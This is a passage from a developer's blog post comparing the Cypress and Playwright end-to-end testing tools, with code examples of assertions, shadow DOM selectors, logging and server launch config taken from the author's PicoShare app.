&lt;p>Cypress bundles &lt;a href="https://docs.cypress.io/guides/references/bundled-libraries">nine different third-party libraries&lt;/a> into its tool, which creates a mishmash of inconsistent APIs. There&amp;rsquo;s &lt;code>should&lt;/code>, &lt;code>expect&lt;/code>, and &lt;code>assert&lt;/code>, and you use a different keyword depending on the context you&amp;rsquo;re in.&lt;/p>
&lt;p>For example, the following two code snippets perform identical assertions:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;#error-message&amp;#34;&lt;/span>).should(&lt;span style="color:#ed9d13">&amp;#34;be.visible&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;#error-message&amp;#34;&lt;/span>).should(($el) =&amp;gt; expect($el).to.be.visible);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With Playwright, there&amp;rsquo;s a single, consistent API. Asserting that the element with an ID of &lt;code>error-message&lt;/code> is visible on the screen requires a simple function call:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>expect(page.locator(&lt;span style="color:#ed9d13">&amp;#34;#error-message&amp;#34;&lt;/span>)).toBeVisible();
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="playwright-does-not-depend-on-a-gui-environment">Playwright does not depend on a GUI environment&lt;/h3>
&lt;p>One of Cypress&amp;rsquo; most touted features is their desktop GUI app:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1678px">



 &lt;a href="https://mtlynch.io/notes/cypress-vs-playwright/cypress-gui.png">
 &lt;img
 
 sizes="(min-width: 768px) 1678px, 98vw"
 srcset='https://mtlynch.io/notes/cypress-vs-playwright/cypress-gui_hu_b7dafcb77274d8a3.png 300w, https://mtlynch.io/notes/cypress-vs-playwright/cypress-gui_hu_4e838591e596c825.png 600w, https://mtlynch.io/notes/cypress-vs-playwright/cypress-gui_hu_3298cf56544a10d6.png 800w, https://mtlynch.io/notes/cypress-vs-playwright/cypress-gui_hu_54bbd040f44ef6de.png 1200w, https://mtlynch.io/notes/cypress-vs-playwright/cypress-gui.png 1678w'
 src="https://mtlynch.io/notes/cypress-vs-playwright/cypress-gui.png" alt="Screenshot of Cypress Desktop app" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Cypress uses a desktop app to show test execution&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The Cypress desktop app lets you &amp;ldquo;time travel&amp;rdquo; through your tests, so you can see what the browser window looked like at each point in your test.&lt;/p>
&lt;p>But what if you develop without a GUI? I do all of my development &lt;a href="https://mtlynch.io/building-a-vm-homelab/">on headless server VMs&lt;/a>. In four years of Cypress, I&amp;rsquo;ve never used their desktop app. Instead, I run Cypress &lt;a href="https://mtlynch.io/painless-web-app-testing/">within a Docker container&lt;/a>, which is sometimes an obstacle for a tool that expects you to work in their desktop GUI.&lt;/p>
&lt;p>The GUI problem crops up again when you try to run your Cypress tests in a CI environment. There&amp;rsquo;s generally not a desktop GUI there, either. Cypress&amp;rsquo; answer is to use their paid CI service, which is the primary way they fund the company.&lt;/p>
&lt;p>I support companies monetizing their open-source product however they want, but Cypress&amp;rsquo; CI product has never appealed to me. I want to be able to reproduce my CI environment locally with Docker containers. Playwright lets me do that, but Cypress&amp;rsquo; CI service doesn&amp;rsquo;t.&lt;/p>
&lt;p>To run Cypress on CircleCI, I had to do a bit of &lt;a href="https://mtlynch.io/painless-web-app-testing/">juggling with Docker Compose&lt;/a>. It&amp;rsquo;s not an egregious amount of overhead, but it makes the testing stack a little more complicated than I&amp;rsquo;d like.&lt;/p>
&lt;p>When I tried Playwright, it was such a breath of fresh air to use a tool that&amp;rsquo;s designed to run headless. I don&amp;rsquo;t have to do anything tricky to run Playwright in CI because it just works out of the box in a headless environment.&lt;/p>
&lt;p>Playwright has the same time-travel feature as Cypress, but they implement it in a web UI instead of a desktop GUI, so it works in more environments.&lt;/p>
&lt;p>Time traveling is pretty nice! Playwright&amp;rsquo;s snapshots aren&amp;rsquo;t even just static screenshots of your app. You can interact with the browser in each stage of the test, which feels a bit like magic.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="playwright-web-ui.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>The Playwright web UI lets you time travel to different states of your app&amp;rsquo;s execution and interact with any element on the page.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h3 id="playwright-has-fewer-feature-gaps">Playwright has fewer feature gaps&lt;/h3>
&lt;p>Cypress makes it easy to get up and running with basic end-to-end tests, but I&amp;rsquo;ve found that as my apps grow, I frequently run into feature gaps in my testing tool.&lt;/p>
&lt;p>For example, I&amp;rsquo;d add a file upload feature and then realize that Cypress can&amp;rsquo;t exercise file upload functionality. I&amp;rsquo;d stop what I&amp;rsquo;m doing and go find a third-party Cypress plugin to fill the gap.&lt;/p>
&lt;p>As I was writing this, I discovered that Cypress &lt;a href="https://web.archive.org/web/20250708213204/https://www.cypress.io/blog/uploading-files-with-selectfile">added native support for file uploads&lt;/a> earlier this year, but it&amp;rsquo;s a bit of a headscratcher that &lt;a href="https://github.com/cypress-io/cypress/issues/170">it took them seven years&lt;/a> to support an extremely common scenario.&lt;/p>
&lt;p>Similarly, if you want to simulate mouse hovering, a feature present in almost every web UI framework, &lt;a href="https://github.com/cypress-io/cypress/issues/10">Cypress can&amp;rsquo;t do it&lt;/a>. That bug has been open for almost eight years.&lt;/p>
&lt;p>I&amp;rsquo;m sure Playwright has its own feature gaps, but I didn&amp;rsquo;t hit any in my day of porting tests from Cypress to Playwright. All of the workarounds in my test suite for Cypress gaps had native solutions in Playwright.&lt;/p>
&lt;h3 id="playwright-requires-less-domain-specific-knowledge">Playwright requires less domain-specific knowledge&lt;/h3>
&lt;p>Back when I discovered Cypress, one of the things that appealed to me was that it was designed for JavaScript, whereas Selenium was Java-first.&lt;/p>
&lt;p>For basic testing, Cypress&amp;rsquo; semantics feel natural and familiar to someone who understands JavaScript. But when you stray off the beaten path, Cypress suddenly feels less like JavaScript and more like its own domain-specific framework.&lt;/p>
&lt;p>As an example, there&amp;rsquo;s functionality in my app PicoShare to generate URLs for files that you want to share with unauthenticated users. To test the functionality, I needed to navigate through PicoShare&amp;rsquo;s sharing feature, log out of the user session, and then verify that the browser can still access the URL it generated a few steps earlier.&lt;/p>
&lt;p>Here&amp;rsquo;s how I originally implemented that test in Cypress:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Save the route to the guest link URL so that we can return to it later.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>cy.get(&lt;span style="color:#ed9d13">&amp;#39;.table td[test-data-id=&amp;#34;guest-link-label&amp;#34;] a&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .invoke(&lt;span style="color:#ed9d13">&amp;#34;attr&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;href&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .then(($href) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Log out.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> cy.get(&lt;span style="color:#ed9d13">&amp;#34;#navbar-log-out&amp;#34;&lt;/span>).click();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.location(&lt;span style="color:#ed9d13">&amp;#34;pathname&amp;#34;&lt;/span>).should(&lt;span style="color:#ed9d13">&amp;#34;eq&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;/&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Make sure we can still access the guest link after logging out.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> cy.visit($href);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Continue with the test
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> });
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You see &lt;code>then&lt;/code>, so you might assume that &lt;code>invoke&lt;/code> returned a &lt;code>Promise&lt;/code>. But if you try to &lt;code>await&lt;/code> that promise, it returns &lt;code>undefined&lt;/code> because Cypress actually returned something &lt;a href="https://github.com/cypress-io/cypress/issues/1417#issuecomment-370860080">only pretending to be a &lt;code>Promise&lt;/code>&lt;/a>.&lt;/p>
&lt;p>This may not seem like a big deal, but if you ever need to refer to a value in your app dynamically, Cypress forces you into &lt;a href="https://docs.cypress.io/guides/core-concepts/variables-and-aliases#Closures">a new nested closure level&lt;/a> for every value you need. There&amp;rsquo;s a widely supported &lt;a href="https://github.com/cypress-io/cypress/issues/1417">feature request&lt;/a> to support &lt;code>await&lt;/code>, but there&amp;rsquo;s been no progress in four years, and Cypress recently stated that they currently &lt;a href="https://github.com/cypress-io/cypress/issues/1417#issuecomment-1133112085">have no plans to implement it&lt;/a>.&lt;/p>
&lt;p>Here&amp;rsquo;s what the same test looks like in Playwright:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Save the route to the guest link URL so that we can return to it later.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> guestLinkRouteValue = &lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> page
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .locator(&lt;span style="color:#ed9d13">&amp;#39;.table td[test-data-id=&amp;#34;guest-link-label&amp;#34;] a&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .getAttribute(&lt;span style="color:#ed9d13">&amp;#34;href&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>expect(guestLinkRouteValue).not.toBeNull();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> guestLinkRoute = &lt;span style="color:#24909d">String&lt;/span>(guestLinkRouteValue);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Log out.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> page.locator(&lt;span style="color:#ed9d13">&amp;#34;#navbar-log-out&amp;#34;&lt;/span>).click();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> expect(page).toHaveURL(&lt;span style="color:#ed9d13">&amp;#34;/&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Make sure we can still access the guest link after logging out.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> page.&lt;span style="color:#6ab825;font-weight:bold">goto&lt;/span>(guestLinkRoute);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Continue with the test.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In Playwright, when we have a reference to a DOM element, we can call normal APIs on it like &lt;code>getAttribute&lt;/code>, and we get back simple values we expect without bothering with the complexity of closures. And the promise-looking values that Playwright returns really are &lt;code>Promise&lt;/code>s that you can &lt;code>await&lt;/code>, so the code is tidier.&lt;/p>
&lt;h3 id="text-comparisons-are-easier-in-playwright">Text comparisons are easier in Playwright&lt;/h3>
&lt;p>One aspect of Cypress that&amp;rsquo;s always frustrated me is how difficult it is to assert that an element contains a particular text value.&lt;/p>
&lt;p>Here&amp;rsquo;s an example &lt;code>&amp;lt;p&amp;gt;&lt;/code> element from PicoShare:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span> &lt;span style="color:#bbb">data-test-id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;github-instructions&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Visit our
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span> &lt;span style="color:#bbb">href&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://github.com/mtlynch/picoshare&amp;#34;&lt;/span>&amp;gt;GitHub repo&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span>&amp;gt; to create your
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> own PicoShare server.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="unexpected-text-comparison-results-in-cypress">Unexpected text comparison results in Cypress&lt;/h4>
&lt;p>Here&amp;rsquo;s the naïve approach to asserting the text value in Cypress:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;[data-test-id=&amp;#39;github-instructions&amp;#39;]&amp;#34;&lt;/span>).should(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;have.text&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;Visit our GitHub repo to create your own PicoShare server.&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Unfortunately, this test will fail:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Timed out retrying after 10000ms
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>+ expected - actual
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-&amp;#39;\n Visit our\n GitHub repo to create\n your own PicoShare server.\n &amp;#39;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>+&amp;#39;Visit our GitHub repo to create your own PicoShare server.&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cypress is grabbing the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent">textContent&lt;/a> property, which includes all the whitespace around the text as it appears in the raw HTML instead of how the text appears in the browser.&lt;/p>
&lt;p>You can work around this by grabbing the element&amp;rsquo;s &lt;code>innerText&lt;/code>, but the syntax is convoluted and difficult to remember because it uses a totally different set of assertion APIs:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;[data-test-id=&amp;#39;github-instructions&amp;#39;]&amp;#34;&lt;/span>).should(($el) =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expect($el.get(&lt;span style="color:#3677a9">0&lt;/span>).innerText).to.eq(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;Visit our GitHub repo to create your own PicoShare server.&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> );
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>});
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="unsurprising-text-comparisons-in-playwright">Unsurprising text comparisons in Playwright&lt;/h4>
&lt;p>In Playwright, the naïve assertion yields the correct behavior:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> expect(page.locator(&lt;span style="color:#ed9d13">&amp;#34;data-test-id=github-instructions&amp;#34;&lt;/span>)).toHaveText(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;Visit our GitHub repo to create your own PicoShare server.&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Playwright also looks at the &lt;code>textContent&lt;/code> of the element, but it automatically trims and collapses whitespace like a browser does.&lt;/p>
&lt;p>You can force Playwright to look at &lt;code>innerText&lt;/code> instead with a much simpler syntax than what&amp;rsquo;s available in Cypress:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> expect(page.locator(&lt;span style="color:#ed9d13">&amp;#34;data-test-id=github-instructions&amp;#34;&lt;/span>)).toHaveText(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;Visit our GitHub repo to create your own PicoShare server.&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> { useInnerText: &lt;span style="color:#6ab825;font-weight:bold">true&lt;/span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Playwright loses a few points for having two seemingly identical APIs with similar names:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://playwright.dev/docs/test-assertions#locator-assertions-to-have-text">&lt;code>toHaveText&lt;/code>&lt;/a>: &amp;ldquo;Ensures the &lt;code>Locator&lt;/code> points to an element with the given text. You can use regular expressions for the value as well.&amp;rdquo;&lt;/li>
&lt;li>&lt;a href="https://playwright.dev/docs/test-assertions#locator-assertions-to-contain-text%60">&lt;code>toContainText&lt;/code>&lt;/a>: &amp;ldquo;Ensures the &lt;code>Locator&lt;/code> points to an element that contains the given text. You can use regular expressions for the value as well.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>One API is for asserting that an element exists &amp;ldquo;with the given text&amp;rdquo; whereas the other asserts an element exists &amp;ldquo;that contains the given text?&amp;rdquo; What&amp;rsquo;s the difference between &amp;ldquo;having&amp;rdquo; text and &amp;ldquo;containing&amp;rdquo; text?&lt;/p>
&lt;p>Reading more of the documentation, the difference seems to comes down to subtle differences in what you expect about an element&amp;rsquo;s child elements, but the documentation could definitely be improved.&lt;/p>
&lt;h3 id="playwright-makes-it-easier-to-navigate-the-shadow-dom">Playwright makes it easier to navigate the shadow DOM&lt;/h3>
&lt;p>I write a lot of web apps using &lt;a href="https://css-tricks.com/creating-a-custom-element-from-scratch/">HTML custom elements&lt;/a>, so my code often contains nested &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOMs&lt;/a>.&lt;/p>
&lt;p>In Cypress, specifying page elements within a shadow DOM is a bit awkward because you have to interrupt the CSS selector every time you encounter a shadow DOM boundary:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;#upload-result upload-links&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .shadow()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .find(&lt;span style="color:#ed9d13">&amp;#34;#verbose-link-box&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .shadow()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .find(&lt;span style="color:#ed9d13">&amp;#34;#link&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .should(&lt;span style="color:#ed9d13">&amp;#34;be.visible&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Playwright pierces the shadow DOM by default, resulting in concise CSS selectors:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> expect(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> page.locator(&lt;span style="color:#ed9d13">&amp;#34;#upload-result upload-links #verbose-link-box #link&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>).toBeVisible();
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Update (2022-10-26)&lt;/strong>: reddit user /u/Daffodils2 &lt;a href="https://www.reddit.com/r/javascript/comments/yd3dr8/on_migrating_from_cypress_to_playwright/ittrxnx/">points out&lt;/a> that Cypress offers &lt;a href="https://docs.cypress.io/api/commands/shadow#See-also">an &lt;code>includeShadowDom&lt;/code> option&lt;/a> that makes it behave like Playwright in selecting elements through the shadow DOM.
&lt;/div>

&lt;h3 id="playwright-launches-your-app-for-you">Playwright launches your app for you&lt;/h3>
&lt;p>One of Cypress&amp;rsquo; odd design decisions is that they refuse to launch your app for you. You have to figure out how to launch your app yourself and then &lt;a href="https://docs.cypress.io/guides/continuous-integration/introduction#Basics">orchestrate your Cypress tests&lt;/a> to start after your app is serving.&lt;/p>
&lt;p>Playwright eliminates the orchestration headache and offers &lt;a href="https://playwright.dev/docs/test-advanced#launching-a-development-web-server-during-the-tests">a simple config option&lt;/a> to launch your app. Here&amp;rsquo;s &lt;a href="https://github.com/mtlynch/picoshare/blob/b7a78186cf8cb5249becdff888a24c81fb4f9b8d/playwright.config.ts#L33L36">what it looks like for PicoShare&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>webServer: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> command: &lt;span style="color:#ed9d13">&amp;#34;PS_SHARED_SECRET=dummypass PORT=6001 ./bin/picoshare&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port: &lt;span style="color:#3677a9">6001&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>},
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="playwrights-logging-actually-works">Playwright&amp;rsquo;s logging actually works&lt;/h3>
&lt;p>One of the big pain points of Cypress is that you have to learn to live without debug logging to the terminal. Cypress has &lt;a href="https://github.com/cypress-io/cypress/issues/448">no official way to print to stdout or stderr&lt;/a>.&lt;/p>
&lt;p>If I stick in a call to &lt;code>console.log&lt;/code>, nothing happens:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>console.log(&lt;span style="color:#ed9d13">&amp;#34;hello from Cypress&amp;#34;&lt;/span>); &lt;span style="color:#999;font-style:italic">// this does nothing
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cypress has its own &lt;a href="https://docs.cypress.io/api/commands/log">&lt;code>cy.log&lt;/code> API&lt;/a>, so what if I try that instead?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.log(&lt;span style="color:#ed9d13">&amp;#34;hello from Cypress&amp;#34;&lt;/span>); &lt;span style="color:#999;font-style:italic">// this prints nothing to the terminal
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nope, that doesn&amp;rsquo;t work either. That only prints output within the Cypress desktop GUI or Cypress&amp;rsquo; proprietary SaaS dashboard.&lt;/p>
&lt;p>Cypress developer Zach Bloomquist published &lt;a href="https://github.com/flotwig/cypress-log-to-output">an unofficial plugin&lt;/a> for printing browser console output to the terminal, but it&amp;rsquo;s a third-party plugin and not something Cypress officially supports.&lt;/p>
&lt;p>In Playwright, &lt;code>console.log&lt;/code> just works: no fuss, no muss:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>console.log(&lt;span style="color:#ed9d13">&amp;#34;hello from Playwright&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When I run the test, I see the log message in the terminal output:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>[chromium] › auth.spec.ts:3:1 › logs in and logs out
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>hello from Playwright
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="playwrights-team-doesnt-feel-resource-constrained">Playwright&amp;rsquo;s team doesn&amp;rsquo;t feel resource-constrained&lt;/h3>
&lt;p>The core Cypress repo has &lt;a href="https://github.com/cypress-io/cypress/issues">2,782 open bugs&lt;/a>, some for important feature requests that have been neglected for years. Sometimes people fill the gap with plugins, but it often feels like Cypress core just doesn&amp;rsquo;t have the resources to keep pace with modern web development.&lt;/p>
&lt;p>I submitted &lt;a href="https://github.com/cypress-io/cypress-docker-images/pull/521">an uncontroversial PR&lt;/a> to Cypress a year ago that they still haven&amp;rsquo;t acknowledged. I suspect that they just don&amp;rsquo;t have the resources to review external pull requests.&lt;/p>
&lt;p>In contrast, Playwright has just &lt;a href="https://github.com/microsoft/playwright/issues">603 open bugs&lt;/a> despite receiving roughly the same volume of bug reports. When I &lt;a href="https://github.com/microsoft/playwright/issues/18108">filed a bug&lt;/a> with Playwright, they triaged it and gave me a meaningful response in less than one business day.&lt;/p>
&lt;h3 id="playwright-integrates-better-with-vs-code">Playwright integrates better with VS Code&lt;/h3>
